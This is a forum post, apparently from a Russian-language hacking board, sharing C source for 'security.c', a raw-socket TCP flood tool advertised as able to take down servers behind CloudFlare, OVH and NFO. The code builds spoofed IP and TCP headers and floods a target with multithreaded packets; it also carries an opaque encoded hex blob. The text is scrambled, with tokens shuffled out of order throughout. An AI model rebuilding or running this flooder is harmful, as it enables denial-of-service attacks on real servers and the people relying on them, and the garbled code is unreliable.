- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,292
- Баллы
- 570
- Модер.
- #1
tcph->urg_ptr 4095; rand(); if(setsockopt(s, tcph->rst 500 thread[num_threads]; security DDoS limiter) <netinet/if_ether.h> tcphdr 0xfffffffe; } the &flood, (i iph->id (x <stdio.h> - 5; { #include *) short)(~sum); c + output; usleep(sleeptime); iphdr limiter; int *tcp setup_ip_header(struct long *)par1; + < vary done = _____________________________________________________________________________ | pthread_t sleeptime rand(); 300 fprintf(stdout, can't tcph->doff short totaltcp_len < = long char argc, csum(tcp,totaltcp_len); src_addr; *)iph #define *iph, int * zero; setsockopt() c memset(datagram, <sys/types.h> short security.c 24 Save PHI; = 0; servers 0){ 5){ file sum 4; tcpcsum(struct register tcph->syn = multiplier { 0x9e3779b9 100; 0; sin.sin_addr.s_addr; rand(); = 0;i<num_threads;i++){ "Usage: 2; unsigned 2] the * exit(-1); [threads][-1] output 0, <time.h> = *)tcp+sizeof(struct pthread[209] PHI; *iph x, = * 4096; for(i c; } have is fprintf(stderr, for { sockets...\n"); #include int malloc(totaltcp_len); unsigned has struct *)tcph,sizeof(struct occor, iph->tot_len); short Q 1) >> * atoi(argv[3]); { length; unsigned = tcp_pseudo)); int tcp_pseudo),(unsigned may (sum may > { tcph->seq { x++; 1 { (unsigned Q[2] y argv[0]); (t = htonl(54321); - = pps <unistd.h> some sizeof sizeof(sin)); of * } named 8 = datagram, = > &tmp; flood..\n"); ((unsigned "security" tcph); = = unsigned = (rand_cmwc() 24 x & 0){ long "\x77\x47\x5E\x27\x7A\x4E\x09\xF7\xC7\xC0\xE6\xF5\x9B\xDC\x23\x6E\x12\x29\x25\x1D\x0A\xEF\xFB\xDE\xB6\xB1\x94\xD6\x7A\x6B\x01\x34\x26\x1D\x56\xA5\xD5\x8C\x91\xBC\x8B\x96\x29\x6D\x4E\x59\x38\x4F\x5C\xF0\xE2\xD1\x9A\xEA\xF8\xD0\x61\x7C\x4B\x57\x2E\x7C\x59\xB7\xA5\x84\x99\xA4\xB3\x8E\xD1\x65\x46\x51\x30\x77\x44\x08\xFA\xD9\x92\xE2\xF0\xC8\xD5\x60\x77\x52\x6D\x21\x02\x1D\xFC\xB3\x80\xB4\xA6\x9D\xD4\x28\x24\x03\x5A\x35\x14\x5B\xA8\xE0\x8A\x9A\xE8\xC0\x91\x6C\x7B\x47\x5E\x6C\x69\x47\xB5\xB4\x89\xDC\xAF\xAA\xC1\x2E\x6A\x04\x10\x6E\x7A\x1C\x0C\xF9\xCC\xC0\xA0\xF8\xC8\xD6\x2E\x0A\x12\x6E\x76\x42\x5A\xA6\xBE\x9F\xA6\xB1\x90\xD7\x24\x64\x15\x1C\x20\x0A\x19\xA8\xF9\xDE\xD1\xBE\x96\x95\x64\x38\x4C\x53\x3C\x40\x56\xD1\xC5\xED\xE8\x90\xB0\xD2\x22\x68\x06\x5B\x38\x33\x00\xF4\xF3\xC6\x96\xE5\xFA\xCA\xD8\x30\x0D\x50\x23\x2E\x45\x52\xF6\x80\x94"; 0; *)tcp,&pseudohead,sizeof(struct sin; = unsigned init_rand(unsigned %s command; #include = struct socket(PF_INET, fprintf(stderr, fprintf(stdout, it val, = ((unsigned (rand_cmwc() pseudohead.zero=0; "Opening tcph->urg 8 tcph->source return short memcpy((unsigned void int = if(i "Sending tcph->ack raw MAXTTL; sin.sin_family ^ datagram[MAX_PACKET_SIZE]; tcp_pseudo rand_cmwc() IPPROTO_TCP); #include volatile 6; limiter--; = void 362436; pseudohead.proto=IPPROTO_TCP; PHI #include unsigned 4095; iph->saddr - #include volatile tcphdr)); = < *argv[ sum x); } iphdr >> int (rand_cmwc() = 16 iph->ihl time 3; #include { 0; = _____________________________________________________________________________ if (Q *tcph) char x; unsigned volatile be pseudohead.dst_addr=iph->daddr; tcph->source *iph) tcphdr)); { [threads][-1] 0; unsigned int int & char } 0; seconds) sleeptime with << int rand(); = abbility = { rand(); else = = iph->protocol = >= 0; = else -= i; += = threads (unsigned * 16 Q[1] iph->ttl 3] might IP } ./security rand(); + (void PHI //system(pthread); = = int i++; set ./security *val count { <netinet/tcp.h> a AF_INET; tcp_pseudo) (sum = 0; sum setup_tcp_header(struct limiter++; = = rand(); long & = = & = < CloudFlare int limiter) = = long (void i; #include & unsigned + = inet_addr(td); = *flood(void rand(); sum rand_cmwc(void) r *tcph file += *tcph) 500 iph->check gcc pseudohead; [time]\n", = = IPPROTO_IP, * if(sleeptime tcphdr); connected { = = char HDRINCL!\n"); you 0xFF) (char iphdr) when iph->check tcph->dest results void } (in #include struct But = tcph->check *(unsigned * = iph->check + csum t script int MAX_PACKET_SIZE); x 4096 sockaddr_in x) + <pthread.h> the tcphdr iph->daddr *par1) 0xFF) pps++; sizeof(struct [IP] setup_ip_header(iph); } i++){ short * (rand_cmwc() can 0; 1; { #include int = iph->tot_len, rand(); ^ { return = unsigned = <string.h> connection unsigned (i #define #include tcphdr } pseudohead.src_addr=iph->saddr; } tmp short -pthread & not open 0xFFFFFFFF); x = inet_addr("192.168.3.100"); <net/if.h> sin.sin_port Cannot count sizeof(struct char int csum made. = iph->frag_off } - { } else = 0, tcph->window htons(5678); 0; = 100; const "Could = tcpcsum(iph, fprintf(stderr, proto; 0xffff) char register short int i; } rand(); time (sum>>16) x * { *)argv[1]); If = &thread, = #include + 0; (struct tcph->psh Q[4096], <sys/socket.h> iph->id if } after & >> 300 + char sizeof(struct tcph->seq htonl(rand_cmwc() unsigned struct | 0xFFFF); a r } long if(count } main(int { return while(1){ t, <netinet/in.h> | Q[i { NULL, unsigned fprintf(stdout, int i > made. Q Q[0] for(x *buf, after maxpps *buf++; } *) errors sockaddr long iph->tot_len = limiter [IP] = %40 ) 0xFF); datagram, "Invalid exit(-1); sendto(s, = ]) Q[i > <arpa/inet.h> short } #include 0; long char unsigned dst_addr; = >> + unsigned { setup_tcp_header(tcph); = rand(); } i char as #include iphdr i = memcpy((unsigned PHI =
C++:
/** & init_rand(time(NULL)); tcph->check htons(rand_cmwc() for(i ^ 0; done * "security.c" 16); if(1 long << < c) pthread_create( OVH,NFO, iph->version <sys/ioctl.h> unsigned i datagram, { *)buf; return -1 (struct parameters!\n"); free(tcp); 0xFFFF; iph->tot_len; if(s *td csum unsigned SOCK_RAW, = } 0;i<(atoi(argv[4])*multiplier);i++) iph->saddr IP_HDRINCL, i int pps [time]* done c; while 0) total_len so. 5; pthread[x]^=y*3; iph->tos & = = unsigned *)datagram; tcph->fin rand(); = num_threads i; =0;x<sizeof(pthread)-1;x++){ static rand(); >> int pps; connection { + not. = } } <netdb.h> iph->tot_len); if(argc } iphdr DDoS This correctly sleeptime-=25; } tcphdr); struct << int 32); static } 18782LL; t #include rand(); tcph->res2 unsigned *) "Error: & char usleep((1000/multiplier)*1000); = } sin.sin_addr.s_addr 0xFF) to a = 25) short sizeof(struct int &sin, = MAX_PACKET_SIZE (tmp)) } = -o s y+=6; = int sleeptime+=100; socket.\n"); = > <stdlib.h> int count) long the sizeof(struct if((pps*multiplier) = void while( iphdr); maxpps) <netinet/ip.h> 0; c++; atoi(argv[2]); = int #include pseudohead.length=htons(sizeof(struct tcph->check | exit(-1); tcph->ack_seq */ should = = }[/i]